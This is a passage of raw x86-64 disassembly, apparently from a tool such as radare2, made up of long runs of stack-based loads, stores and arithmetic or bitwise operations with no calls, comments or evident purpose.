movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x113], al
lea rax, [rsp + 0xca8]
mov qword [rsp + 0x8d68], rax
mov rax, qword [rsp + 0x8be8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8cf8]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xd2], al
mov eax, dword [rsp + 0x3eb0]
movzx ecx, al
mov eax, dword [rsp + 0x3f18]
shl eax, cl
mov rcx, qword [rsp + 0x8530]
mov dword [rcx], eax
lea rax, [rsp + 0x8130]
mov qword [rsp + 0x8d70], rax
mov rax, qword [rsp + 0x78d8]
mov rcx, qword [rsp + 0x8138]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x6c88], rax
lea rax, [rsp + 0x3e78]
mov qword [rsp + 0x8d78], rax
lea rax, [rsp + 0xd84]
mov qword [0x14017a8f8], rax
mov rax, qword [rsp + 0x8360]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xfa4]
and eax, ecx
mov word [rsp + 0xcd8], ax
lea rax, [rsp + 0xdd0]
mov qword [rsp + 0x8d80], rax
movsx eax, byte [rsp + 0xc9]
mov rcx, qword [rsp + 0x79e8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7650]
mov byte [rcx], al
movsx eax, word [rsp + 0xdb8]
movsx ecx, word [rsp + 0xe08]
add eax, ecx
mov word [rsp + 0xc94], ax
mov rax, qword [rsp + 0x8af8]
mov qword [rsp + 0x8d88], rax
mov rax, qword [rsp + 0x7330]
mov ecx, dword [rsp + 0x3d54]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3da4], eax
lea rax, [rsp + 0x8278]
mov qword [rsp + 0x8d90], rax
mov eax, dword [rsp + 0x3d80]
mov ecx, dword [section..data]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8c68]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7ed0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7190]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14017a768]
mov byte [rcx], al
movzx eax, byte [rsp + 0x9b]
movzx ecx, byte [rsp + 0x8c]
and eax, ecx
mov rcx, qword [rsp + 0x6d68]
mov byte [rcx], al
movzx eax, byte [rsp + 0x6b]
mov byte [rsp + 0x157], al
movsx eax, word [rsp + 0xe34]
movsx ecx, word [rsp + 0xd2c]
sub eax, ecx
mov rcx, qword [rsp + 0x7ae8]
mov word [rcx], ax
lea rax, [rsp + 0xe5c]
mov qword [rsp + 0x8d98], rax
mov rax, qword [0x14017a4d8]
mov ecx, dword [rsp + 0x3bc8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x7828]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7460]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8220]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7668], rax
lea rax, [rsp + 0x88d0]
mov qword [rsp + 0x8da0], rax
mov rax, qword [rsp + 0x89f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3af0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x3d9c], eax
lea rax, [rsp + 0xc0c]
mov qword [rsp + 0x8da8], rax
movsx eax, word [rsp + 0xc70]
movsx ecx, word [rsp + 0xca8]
or eax, ecx
mov word [0x140179024], ax
movsx eax, byte [rsp + 0xa3]
mov rcx, qword [rsp + 0x86d8]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x88a8]
mov byte [rcx], al
mov rax, qword [rsp + 0x8328]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x74d8]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x141], al
lea rax, [0x14017901e]
mov qword [rsp + 0x8db0], rax
mov rax, qword [rsp + 0x84c8]
mov rcx, qword [rsp + 0x79f0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x88d0], rax
mov eax, dword [rsp + 0x3c28]
mov dword [rsp + 0x3fd4], eax
mov rax, qword [rsp + 0x7098]
mov rcx, qword [rsp + 0x8520]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3be8], eax
lea rax, [rsp + 0x8690]
mov qword [rsp + 0x8db8], rax
movzx eax, word [rsp + 0xdf8]
mov rcx, qword [rsp + 0x7ab0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6f28]
mov word [rcx], ax
lea rax, [rsp + 0xb9]
mov qword [0x14017a900], rax
mov rax, qword [rsp + 0x6c78]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xcf0]
sub eax, ecx
mov word [rsp + 0xe34], ax
lea rax, [rsp + 0xcd8]
mov qword [rsp + 0x8dc0], rax
mov rax, qword [rsp + 0x7018]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x70c0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xcf], al
lea rax, [rsp + 0x8168]
mov qword [rsp + 0x8dc8], rax
mov rax, qword [rsp + 0x7d60]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8ce8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x70c8], rax
mov eax, dword [section..data]
mov ecx, dword [rsp + 0x3e38]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3d4c], eax
lea rax, [rsp + 0x3c10]
mov qword [rsp + 0x8dd0], rax
mov rax, qword [rsp + 0x8cf8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x71f8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x128], al
movzx eax, byte [rsp + 0x13b]
mov byte [0x14017a587], al
mov rax, qword [0x14017a5b0]
movzx eax, word [rax]
mov word [rsp + 0xfb8], ax
mov rax, qword [rsp + 0x6dc8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf14]
add eax, ecx
mov rcx, qword [rsp + 0x6c08]
mov word [rcx], ax
mov rax, qword [rsp + 0x6c90]
movzx eax, word [rax]
movzx ecx, word [0x14017a8bc]
or eax, ecx
mov word [rsp + 0xc38], ax
lea rax, [rsp + 0x8850]
mov qword [rsp + 0x8dd8], rax
mov rax, qword [rsp + 0x82e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8bf8]
mov qword [rsp + 0x8de0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8de0]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x7020]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3e40]
mov dword [rsp + 0x3fd8], eax
mov rax, qword [rsp + 0x6d48]
mov ecx, dword [rsp + 0x3d30]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x3d48], eax
mov rax, qword [rsp + 0x7b80]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x88e0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xe58], ax
movzx eax, byte [rsp + 0x150]
movzx ecx, byte [0x140179067]
add eax, ecx
mov byte [0x14017906e], al
movzx eax, word [rsp + 0xd0c]
mov word [rsp + 0xfbc], ax
mov rax, qword [rsp + 0x8070]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x125]
and eax, ecx
mov byte [rsp + 0xbc], al
movzx eax, byte [rsp + 0xd0]
mov byte [rsp + 0x158], al
mov rax, qword [0x14017a678]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8418]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7fd8]
mov word [rcx], ax
mov rax, qword [rsp + 0x7138]
mov qword [rsp + 0x8de8], rax
mov eax, dword [0x14017a4d0]
mov ecx, dword [rsp + 0x3c28]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3cd4], eax
mov rax, qword [rsp + 0x8470]
mov rcx, qword [rsp + 0x6f10]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8a58]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7790]
mov eax, dword [rax]
mov dword [rsp + 0x3fdc], eax
mov rax, qword [rsp + 0x8568]
movsx eax, byte [rax]
movsx ecx, byte [0x14017904e]
add eax, ecx
mov byte [0x14017a586], al
movzx eax, byte [rsp + 0x153]
mov rcx, qword [rsp + 0x8268]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xe4], al
movzx eax, word [rsp + 0xf00]
mov word [rsp + 0xfc0], ax
movsx eax, word [rsp + 0xd40]
movsx ecx, word [0x140179094]
add eax, ecx
mov word [rsp + 0xf10], ax
movzx eax, byte [rsp + 0x13d]
mov rcx, qword [rsp + 0x8d08]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x4d], al
lea rax, [rsp + 0x89e8]
mov qword [rsp + 0x8df0], rax
mov rax, qword [rsp + 0x7a98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6e48]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x7338], rax
lea rax, [rsp + 0x3e58]
mov qword [rsp + 0x8df8], rax
mov rax, qword [rsp + 0x8d48]
imul eax, dword [rax], 0x938
mov rcx, qword [rsp + 0x8530]
mov dword [rcx], eax
lea rax, [rsp + 0xdf0]
mov qword [0x14017a908], rax
movsx eax, word [0x1401790e8]
movsx ecx, word [rsp + 0xc80]
sar eax, cl
mov rcx, qword [rsp + 0x88e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x7e80]
movzx eax, word [rax]
mov word [rsp + 0xfc4], ax
mov rax, qword [rsp + 0x8ae0]
movzx eax, byte [rax]
mov rcx, qword [0x14017a568]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x129], al
movzx eax, byte [rsp + 0x49]
mov byte [rsp + 0x159], al
mov rax, qword [rsp + 0x89a0]
mov ecx, dword [rsp + 0x3d38]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x3dc8], eax
mov rax, qword [rsp + 0x8550]
mov rax, qword [rax]
mov qword [rsp + 0x8e00], rax
mov rax, qword [rsp + 0x78d8]
mov rcx, qword [rsp + 0x6ee0]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7370]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8d48]
mov ecx, dword [rsp + 0x3af0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x7f48]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7e00]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7eb0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401790fc], ax
lea rax, [rsp + 0xe9]
mov qword [rsp + 0x8e08], rax
mov rax, qword [rsp + 0x8d08]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x62]
and eax, ecx
mov rcx, qword [rsp + 0x6c28]
mov byte [rcx], al
lea rax, [rsp + 0xaa]
mov qword [rsp + 0x8e10], rax
movsx eax, word [0x1401790e8]
mov rcx, qword [rsp + 0x6be0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xef8], ax
mov rax, qword [rsp + 0x7aa0]
mov rcx, qword [rsp + 0x6af8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3ce8], eax
mov rax, qword [0x140179010]
mov qword [rsp + 0x8e18], rax
mov rax, qword [rsp + 0x73c8]
mov rcx, qword [rsp + 0x7648]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7970], rax
lea rax, [rsp + 0x3d18]
mov qword [rsp + 0x8e20], rax
mov rax, qword [rsp + 0x8c00]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7448]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x14017a4fe], al
mov rax, qword [rsp + 0x6ec8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8a98]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc4c], ax
mov rax, qword [rsp + 0x8560]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x150]
add eax, ecx
mov rcx, qword [rsp + 0x74d8]
mov byte [rcx], al
mov rax, qword [0x14017a678]
movzx eax, word [rax]
mov word [rsp + 0xfc8], ax
movsx eax, word [rsp + 0xe34]
movsx ecx, word [rsp + 0xc54]
add eax, ecx
mov word [rsp + 0xca8], ax
lea rax, [rsp + 0x7678]
mov qword [rsp + 0x8e28], rax
mov rax, qword [rsp + 0x80d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c94]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3fc8], eax
mov eax, dword [rsp + 0x3cf4]
mov ecx, dword [rsp + 0x3e70]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c60], eax
mov rax, qword [rsp + 0x7210]
mov rax, qword [rax]
mov qword [rsp + 0x8e30], rax
movzx eax, word [0x1401790f8]
movzx ecx, word [rsp + 0xf6c]
shl eax, cl
mov word [0x140179100], ax
movsx eax, byte [rsp + 0x71]
movsx ecx, byte [rsp + 0x51]
or eax, ecx
mov byte [rsp + 0xda], al
lea rax, [rsp + 0x145]
mov qword [rsp + 0x8e38], rax
movzx eax, byte [rsp + 0x13f]
movzx ecx, byte [rsp + 0x42]
sar eax, cl
mov rcx, qword [rsp + 0x7028]
mov byte [rcx], al
lea rax, [rsp + 0x5e]
mov qword [rsp + 0x8e40], rax
mov rax, qword [rsp + 0x7aa8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8cb8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7a00]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3d58]
mov ecx, dword [rsp + 0x3bf0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3d18], eax
lea rax, [rsp + 0x3b34]
mov qword [rsp + 0x8e48], rax
mov rax, qword [rsp + 0x8ae8]
mov rcx, qword [rsp + 0x8020]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x88d0], rax
movzx eax, word [0x14017a6f0]
movzx ecx, word [rsp + 0xe7c]
imul eax, ecx
mov word [0x140179100], ax
mov rax, qword [rsp + 0x7348]
movzx eax, word [rax]
mov word [rsp + 0xfcc], ax
movsx eax, byte [rsp + 0x49]
movsx ecx, byte [0x14017a586]
and eax, ecx
mov rcx, qword [rsp + 0x8d50]
mov byte [rcx], al
mov rax, qword [rsp + 0x7bf8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd94]
sub eax, ecx
mov word [rsp + 0xc28], ax
movzx eax, word [rsp + 0xdc4]
mov word [rsp + 0xfd0], ax
mov rax, qword [rsp + 0x7988]
mov rcx, qword [rsp + 0x7b68]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8690], rax
lea rax, [rsp + 0x3d58]
mov qword [rsp + 0x8e50], rax
mov rax, qword [rsp + 0x7020]
mov rcx, qword [rsp + 0x76f0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6c30], rax
mov rax, qword [rsp + 0x6ac0]
mov ecx, dword [0x140179004]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3dd8], eax
mov rax, qword [rsp + 0x7a40]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8428]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14017907a], al
lea rax, [rsp + 0xe34]
mov qword [rsp + 0x8e58], rax
movsx eax, byte [rsp + 0x48]
mov rcx, qword [rsp + 0x88a8]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x11f], al
movzx eax, word [rsp + 0xdf0]
mov word [rsp + 0xfd4], ax
mov rax, qword [rsp + 0x7e68]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7b48]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x7cf0]
mov byte [rcx], al
lea rax, section..data
mov qword [rsp + 0x8e60], rax
mov rax, qword [rsp + 0x8cb0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7ca8]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8cd0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3d50]
mov rcx, qword [rsp + 0x8048]
mov qword [rsp + 0x8e68], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8e68]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x3d24], eax
lea rax, [rsp + 0x74a0]
mov qword [rsp + 0x8e70], rax
mov rax, qword [rsp + 0x75d0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x71a0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x7f], al
movzx eax, byte [rsp + 0x14f]
mov rcx, qword [rsp + 0x8a88]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x14017907e], al
mov rax, qword [0x14017a560]
movzx eax, word [rax]
mov word [rsp + 0xfd8], ax
mov rax, qword [rsp + 0x7ac0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7ea8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xefc], ax
movsx eax, word [rsp + 0xeb4]
movsx ecx, word [rsp + 0xe50]
sub eax, ecx
mov rcx, qword [rsp + 0x71e0]
mov word [rcx], ax
lea rax, [rsp + 0x6f10]
mov qword [rsp + 0x8e78], rax
mov rax, qword [rsp + 0x7d28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3cf4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6d60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x85c8]
mov qword [rsp + 0x8e80], rax
mov rax, qword [rsp + 0x8c18]
mov rcx, qword [rsp + 0x83f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3f68], eax
movsx eax, byte [rsp + 0x43]
movsx ecx, byte [rsp + 0xf0]
sub eax, ecx
mov byte [rsp + 0xd2], al
movzx eax, word [rsp + 0xe2c]
mov rcx, qword [rsp + 0x79a8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14017a830]
mov word [rcx], ax
mov rax, qword [rsp + 0x6dc8]
movzx eax, word [rax]
mov word [rsp + 0xfdc], ax
movzx eax, word [rsp + 0xe2c]
mov rcx, qword [rsp + 0x6e30]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xd48], ax
mov rax, qword [rsp + 0x78a0]
movzx eax, byte [rax]
mov byte [rsp + 0x15a], al
mov rax, qword [rsp + 0x6d88]
mov rcx, qword [rsp + 0x8700]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3edc], eax
mov rax, qword [rsp + 0x7cb0]
mov rcx, qword [rsp + 0x7720]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x7198]
mov qword [rcx], rax
lea rax, [rsp + 0x76f0]
mov qword [rsp + 0x8e88], rax
mov rax, qword [rsp + 0x7478]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x14017a4d0]
shl eax, cl
mov dword [rsp + 0x3ee0], eax
mov rax, qword [rsp + 0x6a18]
movzx eax, word [rax]
mov word [rsp + 0xfe0], ax
lea rax, [rsp + 0xfcc]
mov qword [0x14017a910], rax
mov rax, qword [rsp + 0x7d48]
movzx eax, byte [rax]
movzx ecx, byte [0x140179009]
sar eax, cl
mov byte [rsp + 0xd4], al
mov rax, qword [rsp + 0x7e68]
movzx eax, byte [rax]
mov byte [rsp + 0x15b], al
movsx eax, byte [rsp + 0x115]
mov rcx, qword [rsp + 0x71f8]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x110], al
mov rax, qword [rsp + 0x8e20]
mov rcx, qword [rsp + 0x84d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x8e20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7968]
mov eax, dword [rax]
mov dword [rsp + 0x3fe0], eax
mov rax, qword [rsp + 0x8e80]
mov rcx, qword [rsp + 0x7898]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7ef8], rax
lea rax, [rsp + 0x76d8]
mov qword [rsp + 0x8e90], rax
movsx eax, word [rsp + 0xf5c]
movsx ecx, word [rsp + 0xd00]
add eax, ecx
mov rcx, qword [rsp + 0x8a80]
mov word [rcx], ax
lea rax, [rsp + 0xe28]
mov qword [0x14017a918], rax
movsx eax, byte [rsp + 0xdb]
movsx ecx, byte [rsp + 0x74]
add eax, ecx
mov byte [rsp + 0xcd], al
lea rax, [rsp + 0x132]
mov qword [rsp + 0x8e98], rax
mov rax, qword [rsp + 0x7598]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4e]
sub eax, ecx
mov byte [rsp + 0x89], al
lea rax, [rsp + 0x103]
mov qword [rsp + 0x8ea0], rax
mov rax, qword [rsp + 0x70b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7760]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x81b8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7110]
mov rcx, qword [rsp + 0x8958]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x8bf8]
mov qword [rcx], rax
mov eax, dword [0x14017a4d0]
mov dword [rsp + 0x3fe4], eax
mov rax, qword [rsp + 0x6d48]
mov rcx, qword [rsp + 0x75b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3dc4], eax
mov rax, qword [rsp + 0x8d98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf90]
add eax, ecx
mov word [str.D_r__t_], ax
movzx eax, byte [0x140179023]
mov byte [rsp + 0x15c], al
movsx eax, word [rsp + 0xdd8]
mov rcx, qword [rsp + 0x70d8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xd04], ax
movzx eax, byte [rsp + 0x42]
movzx ecx, byte [rsp + 0x6e]
shl eax, cl
mov byte [rsp + 0x63], al
mov rax, qword [rsp + 0x7b58]
movzx eax, byte [rax]
mov byte [rsp + 0x15d], al
mov rax, qword [rsp + 0x7890]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3df8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3bf0], eax
lea rax, [rsp + 0x3e54]
mov qword [rsp + 0x8ea8], rax
mov rax, qword [rsp + 0x8038]
movzx ecx, al
mov rax, qword [rsp + 0x8658]
sar rax, cl
mov qword [rsp + 0x74e0], rax
lea rax, [rsp + 0x7868]
mov qword [rsp + 0x8eb0], rax
lea rax, [rsp + 0xce8]
mov qword [0x14017a920], rax
mov rax, qword [rsp + 0x8328]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7190]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x7b28]
mov byte [rcx], al
mov rax, qword [rsp + 0x89c8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8360]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x7c78]
mov word [rcx], ax
lea rax, [rsp + 0x109]
mov qword [rsp + 0x8eb8], rax
mov rax, qword [rsp + 0x70d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x82a8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xf14], ax
lea rax, [rsp + 0x3f88]
mov qword [rsp + 0x8ec0], rax
mov rax, qword [rsp + 0x8040]
mov ecx, dword [rsp + 0x3df8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x75b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x74f0]
mov rcx, qword [rsp + 0x7240]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8d90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7110]
mov rax, qword [rax]
mov qword [rsp + 0x8ec8], rax
mov rax, qword [rsp + 0x7b88]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x89f0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14017a630]
mov byte [rcx], al
mov rax, qword [rsp + 0x7650]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6ab0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8510]
mov byte [rcx], al
lea rax, [rsp + 0xd2c]
mov qword [rsp + 0x8ed0], rax
movzx eax, word [rsp + 0xd74]
movzx ecx, word [rsp + 0xd1c]
sub eax, ecx
mov word [rsp + 0xe2c], ax
movzx eax, word [0x14017a698]
mov rcx, qword [rsp + 0x86f0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xe28], ax
lea rax, [rsp + 0x8c28]
mov qword [rsp + 0x8ed8], rax
mov rax, qword [rsp + 0x8950]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7668]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x87c0], rax
mov rax, qword [0x14017a4d8]
mov eax, dword [rax]
mov dword [rsp + 0x3fe8], eax
mov rax, qword [rsp + 0x83e0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x8ec0]
mov qword [rsp + 0x8ee0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8ee0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x8a68]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8860]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xde0]
or eax, ecx
mov word [0x14017a808], ax
mov rax, qword [rsp + 0x8280]
movzx eax, word [rax]
mov word [rsp + 0xfe4], ax
movsx eax, byte [rsp + 0x4a]
mov rcx, qword [rsp + 0x8ea0]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x9f], al
mov rax, qword [rsp + 0x74d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7758]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x6fa0]
mov byte [rcx], al
mov rax, qword [rsp + 0x6c38]
movzx eax, word [rax]
mov word [rsp + 0xfe8], ax
mov eax, dword [rsp + 0x3fd0]
mov ecx, dword [rsp + 0x3fac]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3e98], eax
mov rax, qword [rsp + 0x84d0]
mov eax, dword [rax]
mov dword [rsp + 0x3fec], eax
mov rax, qword [rsp + 0x8bf0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x80a0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x78d8], rax
mov rax, qword [rsp + 0x7138]
mov rcx, qword [rsp + 0x8970]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7fa0], rax
lea rax, [rsp + 0xcdc]
mov qword [0x14017a928], rax
lea rax, [0x140179063]
mov qword [rsp + 0x8ee8], rax
movzx eax, word [rsp + 0xca4]
mov rcx, qword [rsp + 0x6e10]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7b18]
mov word [rcx], ax
mov rax, qword [rsp + 0x8ed0]
movzx eax, word [rax]
mov word [rsp + 0xfec], ax
mov rax, qword [rsp + 0x8428]
movzx eax, byte [rax]
movzx ecx, byte [0x140179033]
sub eax, ecx
mov byte [rsp + 0x45], al
mov rax, qword [rsp + 0x70f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x72c8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7a78]
mov qword [rcx], rax
lea rax, [rsp + 0x3e34]
mov qword [rsp + 0x8ef0], rax
mov rax, qword [rsp + 0x8330]
mov rcx, qword [0x140179010]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7f28], rax
mov rax, qword [rsp + 0x7af0]
mov eax, dword [rax]
mov dword [rsp + 0x3ff0], eax
mov rax, qword [rsp + 0x6f00]
movzx eax, byte [rax]
mov byte [0x14017a59a], al
movzx eax, word [rsp + 0xefc]
movzx ecx, word [rsp + 0xfcc]
add eax, ecx
mov rcx, qword [rsp + 0x6e78]
mov word [rcx], ax
mov rax, qword [0x14017a548]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc5]
sub eax, ecx
mov rcx, qword [rsp + 0x6b98]
mov byte [rcx], al
lea rax, [rsp + 0x14e]
mov qword [rsp + 0x8ef8], rax
mov rax, qword [rsp + 0x6f20]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8268]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x85d8]
mov byte [rcx], al
mov rax, qword [rsp + 0x8e30]
mov qword [rsp + 0x8f00], rax
mov rax, qword [rsp + 0x8d78]
mov ecx, dword [rsp + 0x3c04]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x3d44], eax
lea rax, [rsp + 0x7730]
mov qword [rsp + 0x8f08], rax
mov rax, qword [rsp + 0x6f78]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x14017a4d0]
shl eax, cl
mov rcx, qword [rsp + 0x7aa0]
mov dword [rcx], eax
movsx eax, word [rsp + 0xd50]
movsx ecx, word [rsp + 0xef8]
sar eax, cl
mov rcx, qword [0x14017a848]
mov word [rcx], ax
mov rax, qword [rsp + 0x8ee8]
movsx eax, byte [rax]
movsx ecx, byte [0x14017a59a]
or eax, ecx
mov byte [rsp + 0x13e], al
mov rax, qword [rsp + 0x7728]
movzx eax, word [rax]
mov word [rsp + 0xff0], ax
movsx eax, word [rsp + 0xed8]
mov rcx, qword [rsp + 0x8c90]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc60], ax
lea rax, [rsp + 0x12c]
mov qword [rsp + 0x8f10], rax
mov rax, qword [rsp + 0x8c78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3bc8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7a48]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7370]
